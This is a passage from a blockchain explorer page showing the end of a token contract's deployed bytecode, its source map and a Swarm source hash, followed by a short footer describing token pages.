d6857610d656064610d1d600b5488610a8f90919063ffffffff16565b90505b8015610de25730600090815260046020526040902054610d8890826111ef565b30600081815260046020526040908190209290925590516001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610dd99085815260200190565b60405180910390a35b610dec858261116b565b9150505b6001600160a01b038516600090815260046020526040902054610e1390826111ef565b6001600160a01b0380871660008181526004602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e679085815260200190565b60405180910390a360019250505061061a565b60008184841115610e9e5760405162461bcd60e51b8152600401610677919061127c565b506000610eab848661150b565b95945050505050565b6040805180820182526013815272496e756666696369656e742042616c616e636560681b6020808301919091526001600160a01b0386166000908152600490915291822054610f04918490610e7a565b6001600160a01b038086166000908152600460205260408082209390935590851681522054610f3390836111ef565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f879086815260200190565b60405180910390a35060019392505050565b600d805460ff191660011790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610fdb57610fdb611470565b60200260200101906001600160a01b031690816001600160a01b031681525050600d60019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561104e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107291906114b5565b8160018151811061108557611085611470565b6001600160a01b039283166020918202929092010152600d546110b091309161010090041684610918565b600d5460405163791ac94760e01b81526101009091046001600160a01b03169063791ac947906110ed90859060009086903090429060040161151e565b600060405180830381600087803b15801561110757600080fd5b505af1925050508015611118575060015b5047801561115c576005546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561115a573d6000803e3d6000fd5b505b5050600d805460ff1916905550565b600061061a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e7a565b600061061a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061124e565b6000806111fc838561158f565b90508381101561061a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610677565b6000818361126f5760405162461bcd60e51b8152600401610677919061127c565b506000610eab84866114e9565b600060208083528351808285015260005b818110156112a95785810183015185820160400152820161128d565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146112df57600080fd5b50565b600080604083850312156112f557600080fd5b8235611300816112ca565b946020939093013593505050565b6000806000806060858703121561132457600080fd5b8435801515811461133457600080fd5b935060208501359250604085013567ffffffffffffffff8082111561135857600080fd5b818701915087601f83011261136c57600080fd5b81358181111561137b57600080fd5b8860208260051b850101111561139057600080fd5b95989497505060200194505050565b6000806000606084860312156113b457600080fd5b83356113bf816112ca565b925060208401356113cf816112ca565b929592945050506040919091013590565b6000602082840312156113f257600080fd5b813561061a816112ca565b6000806040838503121561141057600080fd5b823561141b816112ca565b9150602083013561142b816112ca565b809150509250929050565b600181811c9082168061144a57607f821691505b60208210810361146a57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600182016114ae576114ae611486565b5060010190565b6000602082840312156114c757600080fd5b815161061a816112ca565b80820281158282048414176104f8576104f8611486565b60008261150657634e487b7160e01b600052601260045260246000fd5b500490565b818103818111156104f8576104f8611486565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561156e5784516001600160a01b031683529383019391830191600101611549565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156104f8576104f861148656fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220140330115ba1d960341a2a758cdc05b43041b8d1e2f0701f5a36165822ea7a9664736f6c63430008110033

Deployed Bytecode Sourcemap

3748:6514:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5530:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6276:161;;;;;;;;;;-1:-1:-1;6276:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6276:161:0;1023:187:1;5238:41:0;;;;;;;;;;-1:-1:-1;5238:41:0;;;;;;;-1:-1:-1;;;;;5238:41:0;;;;;;-1:-1:-1;;;;;1405:32:1;;;1387:51;;1375:2;1360:18;5238:41:0;1215:229:1;5784:100:0;;;;;;;;;;-1:-1:-1;5864:12:0;;5784:100;;;1595:25:1;;;1583:2;1568:18;5784:100:0;1449:177:1;5892:374:0;;;;;;;;;;-1:-1:-1;5892:374:0;;;;;:::i;:::-;;:::i;:::-;;8169:313;;;;;;;;;;-1:-1:-1;8169:313:0;;;;;:::i;:::-;;:::i;5619:83::-;;;;;;;;;;-1:-1:-1;5685:9:0;;5619:83;;5685:9;;;;3083:36:1;;3071:2;3056:18;5619:83:0;2941:184:1;4115:50:0;;;;;;;;;;-1:-1:-1;4115:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;1632:157;;;;;;;;;;-1:-1:-1;1632:157:0;;;;;:::i;:::-;;:::i;4172:45::-;;;;;;;;;;-1:-1:-1;4172:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;5288:119;;;;;;;;;;-1:-1:-1;5288:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5381:18:0;5354:7;5381:18;;;:9;:18;;;;;;;5288:119;1426:79;;;;;;;;;;-1:-1:-1;1464:7:0;1491:6;-1:-1:-1;;;;;1491:6:0;1426:79;;6445:87;;;;;;;;;;;;;:::i;7516:167::-;;;;;;;;;;-1:-1:-1;7516:167:0;;;;;:::i;:::-;;:::i;4270:35::-;;;;;;;;;;;;;;;;5708:26;;;;;;;;;;-1:-1:-1;5708:26:0;;;;-1:-1:-1;;;;;5708:26:0;;;4312:36;;;;;;;;;;;;;;;;4224:37;;;;;;;;;;-1:-1:-1;4224:37:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;8492:143;;;;;;;;;;-1:-1:-1;8492:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;8600:18:0;;;8573:7;8600:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;8492:143;7691:468;;;;;;;;;;;;;:::i;4001:29::-;;;;;;;;;;-1:-1:-1;4001:29:0;;;;-1:-1:-1;;;;;4001:29:0;;;5530:83;5567:13;5600:5;5593:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5530:83;:::o;6276:161::-;6351:4;6368:39;308:10;6391:7;6400:6;6368:8;:39::i;:::-;-1:-1:-1;6425:4:0;6276:161;;;;;:::o;5892:374::-;5989:11;:9;:11::i;:::-;6016:6;6011:248;6024:19;;;6011:248;;;6065:13;6091:17;6099:1;6106;6091:14;:17::i;:::-;6081:27;;;-1:-1:-1;6139:8:0;;6162:4;6123:13;6167:8;;6176:1;6167:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;6162:17:0;;;;;;;;;;;;-1:-1:-1;6162:17:0;:28;;-1:-1:-1;;6162:28:0;;;;;;;;;;6206:41;;;;6230:6;;-1:-1:-1;;;;;6230:6:0;6220:17;;;;:9;:17;;;;;:27;;;6206:41;6050:209;;6045:3;;;;:::i;:::-;;;6011:248;;;;5892:374;;;;:::o;8169:313::-;8267:4;8284:36;8294:6;8302:9;8313:6;8284:9;:36::i;:::-;-1:-1:-1;8331:121:0;8340:6;308:10;8362:89;8400:6;8362:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;8362:19:0;;;;;;:11;:19;;;;;;;;308:10;8362:33;;;;;;;;;;:37;:89::i;:::-;8331:8;:121::i;:::-;-1:-1:-1;8470:4:0;8169:313;;;;;;:::o;1632:157::-;1339:6;;-1:-1:-1;;;;;1339:6:0;308:10;1339:22;1331:67;;;;-1:-1:-1;;;1331:67:0;;5198:2:1;1331:67:0;;;5180:21:1;;;5217:18;;;5210:30;5276:34;5256:18;;;5249:62;5328:18;;1331:67:0;;;;;;;;;1706:6:::1;:19:::0;;-1:-1:-1;;;;;;1706:19:0::1;-1:-1:-1::0;;;;;1706:19:0;::::1;::::0;;::::1;::::0;;1741:40:::1;::::0;1706:19;;;;1741:40:::1;::::0;1706:6;1741:40:::1;1632:157:::0;:::o;6445:87::-;6484:13;6517:7;6510:14;;;;;:::i;7516:167::-;7594:4;7611:42;308:10;7635:9;7646:6;7611:9;:42::i;7691:468::-;1339:6;;-1:-1:-1;;;;;1339:6:0;308:10;1339:22;1331:67;;;;-1:-1:-1;;;1331:67:0;;5198:2:1;1331:67:0;;;5180:21:1;;;5217:18;;;5210:30;5276:34;5256:18;;;5249:62;5328:18;;1331:67:0;4996:356:1;1331:67:0;7741:35:::1;7798:42;7741:100;;7884:16;-1:-1:-1::0;;;;;7884:24:0::1;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7866:70:0::1;;7945:4;7952:16;-1:-1:-1::0;;;;;7952:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7866:110;::::0;-1:-1:-1;;;;;;7866:110:0::1;::::0;;;;;;-1:-1:-1;;;;;5843:15:1;;;7866:110:0::1;::::0;::::1;5825:34:1::0;5895:15;;5875:18;;;5868:43;5760:18;;7866:110:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7852:11;:124:::0;;-1:-1:-1;;;;;;7852:124:0::1;-1:-1:-1::0;;;;;7852:124:0;;::::1;;::::0;;7987:15:::1;:34:::0;;-1:-1:-1;;;;;;7987:34:0::1;7852:124;7987:34:::0;;::::1;::::0;::::1;;::::0;;;;8087:12:::1;::::0;8052:4:::1;-1:-1:-1::0;8032:26:0;;;:11:::1;:26;::::0;;;;;;;8067:15;;;::::1;::::0;::::1;8032:52:::0;;;;;;;;:67;;;;8131:11;;;;::::1;8110:34:::0;;:12:::1;:34:::0;;;;;:41;;-1:-1:-1;;8110:41:0::1;-1:-1:-1::0;8110:41:0::1;::::0;;7691:468::o;4747:337::-;-1:-1:-1;;;;;4840:19:0;;4832:68;;;;-1:-1:-1;;;4832:68:0;;6124:2:1;4832:68:0;;;6106:21:1;6163:2;6143:18;;;6136:30;6202:34;6182:18;;;6175:62;-1:-1:-1;;;6253:18:1;;;6246:34;6297:19;;4832:68:0;5922:400:1;4832:68:0;-1:-1:-1;;;;;4919:21:0;;4911:68;;;;-1:-1:-1;;;4911:68:0;;6529:2:1;4911:68:0;;;6511:21:1;6568:2;6548:18;;;6541:30;6607:34;6587:18;;;6580:62;-1:-1:-1;;;6658:18:1;;;6651:32;6700:19;;4911:68:0;6327:398:1;4911:68:0;-1:-1:-1;;;;;4992:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;5044:32;;1595:25:1;;;5044:32:0;;1568:18:1;5044:32:0;;;;;;;4747:337;;;:::o;5415:105::-;5482:6;;-1:-1:-1;;;;;5482:6:0;5468:10;:20;5460:52;;;;-1:-1:-1;;;5460:52:0;;6932:2:1;5460:52:0;;;6914:21:1;6971:2;6951:18;;;6944:30;-1:-1:-1;;;6990:18:1;;;6983:50;7050:18;;5460:52:0;6730:344:1;5460:52:0;5415:105::o;2355:248::-;2413:7;2437:1;2442;2437:6;2433:47;;-1:-1:-1;2467:1:0;2460:8;;2433:47;2490:9;2502:5;2506:1;2502;:5;:::i;:::-;2490:17;-1:-1:-1;2535:1:0;2526:5;2530:1;2490:17;2526:5;:::i;:::-;:10;2518:56;;;;-1:-1:-1;;;2518:56:0;;7676:2:1;2518:56:0;;;7658:21:1;7715:2;7695:18;;;7688:30;7754:34;7734:18;;;7727:62;-1:-1:-1;;;7805:18:1;;;7798:31;7846:19;;2518:56:0;7474:397:1;8643:1614:0;8721:4;-1:-1:-1;;;;;8748:18:0;;8740:68;;;;-1:-1:-1;;;8740:68:0;;8078:2:1;8740:68:0;;;8060:21:1;8117:2;8097:18;;;8090:30;8156:34;8136:18;;;8129:62;-1:-1:-1;;;8207:18:1;;;8200:35;8252:19;;8740:68:0;7876:401:1;8740:68:0;-1:-1:-1;;;;;8827:16:0;;8819:64;;;;-1:-1:-1;;;8819:64:0;;8484:2:1;8819:64:0;;;8466:21:1;8523:2;8503:18;;;8496:30;8562:34;8542:18;;;8535:62;-1:-1:-1;;;8613:18:1;;;8606:33;8656:19;;8819:64:0;8282:399:1;8819:64:0;-1:-1:-1;;;;;8903:10:0;;;;;;:4;:10;;;;;;;;8902:11;8894:20;;;;;;8930:16;;;;8927:1323;;;8979:32;8994:4;9000:2;9004:6;8979:14;:32::i;:::-;8972:39;;;;8927:1323;9112:4;9063:28;5381:18;;;:9;:18;;;;;;9138:16;;;;9137:17;:40;;;;-1:-1:-1;;;;;;9159:18:0;;;;;;:12;:18;;;;;;;;9158:19;9137:40;9133:131;;;9212:36;9227:20;9212:14;:36::i;:::-;-1:-1:-1;;;;;9298:15:0;;;;;;:9;:15;;;;;;:27;;9318:6;9298:19;:27::i;:::-;-1:-1:-1;;;;;9280:15:0;;;;;;:9;:15;;;;;;;;:45;;;;9380:17;:23;;;;;;;;;:48;;-1:-1:-1;;;;;;9407:21:0;;;;;;:17;:21;;;;;;;;9380:48;9376:711;;;-1:-1:-1;9462:6:0;9376:711;;;-1:-1:-1;;;;;9552:18:0;;9507:17;9552:18;;;:12;:18;;;;;;;;9549:252;;;9607:37;9640:3;9607:28;9618:16;;9607:6;:10;;:28;;;;:::i;:::-;:32;;:37::i;:::-;9595:49;;9549:252;;;-1:-1:-1;;;;;9690:16:0;;;;;;:12;:16;;;;;;;;9687:114;;;9743:38;9777:3;9743:29;9754:17;;9743:6;:10;;:29;;;;:::i;:38::-;9731:50;;9687:114;9824:13;;9821:195;;9907:4;9889:24;;;;:9;:24;;;;;;:39;;9918:9;9889:28;:39::i;:::-;9880:4;9862:24;;;;:9;:24;;;;;;;:66;;;;9956:40;;-1:-1:-1;;;;;9956:40:0;;;;;;;9986:9;1595:25:1;;1583:2;1568:18;;1449:177;9956:40:0;;;;;;;;9821:195;10050:21;:6;10061:9;10050:10;:21::i;:::-;10036:35;;9488:599;9376:711;-1:-1:-1;;;;;10131:13:0;;;;;;:9;:13;;;;;;:30;;10149:11;10131:17;:30::i;:::-;-1:-1:-1;;;;;10115:13:0;;;;;;;:9;:13;;;;;;;:46;;;;10181:31;;;;;;;;;;10200:11;1595:25:1;;1583:2;1568:18;;1449:177;10181:31:0;;;;;;;;10234:4;10227:11;;;;;;2155:192;2241:7;2277:12;2269:6;;;;2261:29;;;;-1:-1:-1;;;2261:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2301:9:0;2313:5;2317:1;2313;:5;:::i;:::-;2301:17;2155:192;-1:-1:-1;;;;;2155:192:0:o;7179:329::-;7309:52;;;;;;;;;;;-1:-1:-1;;;7309:52:0;;;;;;;;-1:-1:-1;;;;;7309:17:0;;7272:4;7309:17;;;:9;:17;;;;;;;:52;;7331:6;;7309:21;:52::i;:::-;-1:-1:-1;;;;;7289:17:0;;;;;;;:9;:17;;;;;;:72;;;;7395:20;;;;;;;:32;;7420:6;7395:24;:32::i;:::-;-1:-1:-1;;;;;7372:20:0;;;;;;;:9;:20;;;;;;;:55;;;;7443:35;;;;;;;;;;7471:6;1595:25:1;;1583:2;1568:18;;1449:177;7443:35:0;;;;;;;;-1:-1:-1;7496:4:0;7179:329;;;;;:::o;6540:631::-;5152:16;:23;;-1:-1:-1;;5152:23:0;5171:4;5152:23;;;6646:16:::1;::::0;;6660:1:::1;6646:16:::0;;;;;::::1;::::0;;-1:-1:-1;;6646:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;6646:16:0::1;6622:40;;6691:4;6673;6678:1;6673:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1::0;;;;;6673:23:0::1;;;-1:-1:-1::0;;;;;6673:23:0::1;;;::::0;::::1;6717:15;;;;;;;;;-1:-1:-1::0;;;;;6717:15:0::1;-1:-1:-1::0;;;;;6717:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6707:4;6712:1;6707:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6707:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;6784:15:::1;::::0;6752:58:::1;::::0;6769:4:::1;::::0;6784:15:::1;::::0;::::1;;6802:7:::0;6752:8:::1;:58::i;:::-;6827:15;::::0;:193:::1;::::0;-1:-1:-1;;;6827:193:0;;:15:::1;::::0;;::::1;-1:-1:-1::0;;;;;6827:15:0::1;::::0;:66:::1;::::0;:193:::1;::::0;6908:7;;6930:1:::1;::::0;6947:4;;6974::::1;::::0;6994:15:::1;::::0;6827:193:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;6823:208:::0;7066:21:::1;7103:16:::0;;7100:63:::1;;7134:6;::::0;:29:::1;::::0;-1:-1:-1;;;;;7134:6:0;;::::1;::::0;:29;::::1;;;::::0;7150:12;;7134:6:::1;:29:::0;:6;:29;7150:12;7134:6;:29;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;7100:63;-1:-1:-1::0;;5198:16:0;:24;;-1:-1:-1;;5198:24:0;;;-1:-1:-1;6540:631:0:o;2011:136::-;2069:7;2096:43;2100:1;2103;2096:43;;;;;;;;;;;;;;;;;:3;:43::i;2611:132::-;2669:7;2696:39;2700:1;2703;2696:39;;;;;;;;;;;;;;;;;:3;:39::i;1822:181::-;1880:7;;1912:5;1916:1;1912;:5;:::i;:::-;1900:17;;1941:1;1936;:6;;1928:46;;;;-1:-1:-1;;;1928:46:0;;10268:2:1;1928:46:0;;;10250:21:1;10307:2;10287:18;;;10280:30;10346:29;10326:18;;;10319:57;10393:18;;1928:46:0;10066:351:1;2751:189:0;2837:7;2872:12;2865:5;2857:28;;;;-1:-1:-1;;;2857:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2896:9:0;2908:5;2912:1;2908;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1631:844::-;1732:6;1740;1748;1756;1809:2;1797:9;1788:7;1784:23;1780:32;1777:52;;;1825:1;1822;1815:12;1777:52;1864:9;1851:23;1917:5;1910:13;1903:21;1896:5;1893:32;1883:60;;1939:1;1936;1929:12;1883:60;1962:5;-1:-1:-1;2014:2:1;1999:18;;1986:32;;-1:-1:-1;2069:2:1;2054:18;;2041:32;2092:18;2122:14;;;2119:34;;;2149:1;2146;2139:12;2119:34;2187:6;2176:9;2172:22;2162:32;;2232:7;2225:4;2221:2;2217:13;2213:27;2203:55;;2254:1;2251;2244:12;2203:55;2294:2;2281:16;2320:2;2312:6;2309:14;2306:34;;;2336:1;2333;2326:12;2306:34;2389:7;2384:2;2374:6;2371:1;2367:14;2363:2;2359:23;2355:32;2352:45;2349:65;;;2410:1;2407;2400:12;2349:65;1631:844;;;;-1:-1:-1;;2441:2:1;2433:11;;-1:-1:-1;;;1631:844:1:o;2480:456::-;2557:6;2565;2573;2626:2;2614:9;2605:7;2601:23;2597:32;2594:52;;;2642:1;2639;2632:12;2594:52;2681:9;2668:23;2700:31;2725:5;2700:31;:::i;:::-;2750:5;-1:-1:-1;2807:2:1;2792:18;;2779:32;2820:33;2779:32;2820:33;:::i;:::-;2480:456;;2872:7;;-1:-1:-1;;;2926:2:1;2911:18;;;;2898:32;;2480:456::o;3130:247::-;3189:6;3242:2;3230:9;3221:7;3217:23;3213:32;3210:52;;;3258:1;3255;3248:12;3210:52;3297:9;3284:23;3316:31;3341:5;3316:31;:::i;3590:388::-;3658:6;3666;3719:2;3707:9;3698:7;3694:23;3690:32;3687:52;;;3735:1;3732;3725:12;3687:52;3774:9;3761:23;3793:31;3818:5;3793:31;:::i;:::-;3843:5;-1:-1:-1;3900:2:1;3885:18;;3872:32;3913:33;3872:32;3913:33;:::i;:::-;3965:7;3955:17;;;3590:388;;;;;:::o;4207:380::-;4286:1;4282:12;;;;4329;;;4350:61;;4404:4;4396:6;4392:17;4382:27;;4350:61;4457:2;4449:6;4446:14;4426:18;4423:38;4420:161;;4503:10;4498:3;4494:20;4491:1;4484:31;4538:4;4535:1;4528:15;4566:4;4563:1;4556:15;4420:161;;4207:380;;;:::o;4592:127::-;4653:10;4648:3;4644:20;4641:1;4634:31;4684:4;4681:1;4674:15;4708:4;4705:1;4698:15;4724:127;4785:10;4780:3;4776:20;4773:1;4766:31;4816:4;4813:1;4806:15;4840:4;4837:1;4830:15;4856:135;4895:3;4916:17;;;4913:43;;4936:18;;:::i;:::-;-1:-1:-1;4983:1:1;4972:13;;4856:135::o;5357:251::-;5427:6;5480:2;5468:9;5459:7;5455:23;5451:32;5448:52;;;5496:1;5493;5486:12;5448:52;5528:9;5522:16;5547:31;5572:5;5547:31;:::i;7079:168::-;7152:9;;;7183;;7200:15;;;7194:22;;7180:37;7170:71;;7221:18;;:::i;7252:217::-;7292:1;7318;7308:132;;7362:10;7357:3;7353:20;7350:1;7343:31;7397:4;7394:1;7387:15;7425:4;7422:1;7415:15;7308:132;-1:-1:-1;7454:9:1;;7252:217::o;8686:128::-;8753:9;;;8774:11;;;8771:37;;;8788:18;;:::i;8951:980::-;9213:4;9261:3;9250:9;9246:19;9292:6;9281:9;9274:25;9318:2;9356:6;9351:2;9340:9;9336:18;9329:34;9399:3;9394:2;9383:9;9379:18;9372:31;9423:6;9458;9452:13;9489:6;9481;9474:22;9527:3;9516:9;9512:19;9505:26;;9566:2;9558:6;9554:15;9540:29;;9587:1;9597:195;9611:6;9608:1;9605:13;9597:195;;;9676:13;;-1:-1:-1;;;;;9672:39:1;9660:52;;9767:15;;;;9732:12;;;;9708:1;9626:9;9597:195;;;-1:-1:-1;;;;;;;9848:32:1;;;;9843:2;9828:18;;9821:60;-1:-1:-1;;;9912:3:1;9897:19;9890:35;9809:3;8951:980;-1:-1:-1;;;8951:980:1:o;9936:125::-;10001:9;;;10022:10;;;10019:36;;;10035:18;;:::i

Swarm Source

ipfs://140330115ba1d960341a2a758cdc05b43041b8d1e2f0701f5a36165822ea7a96
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.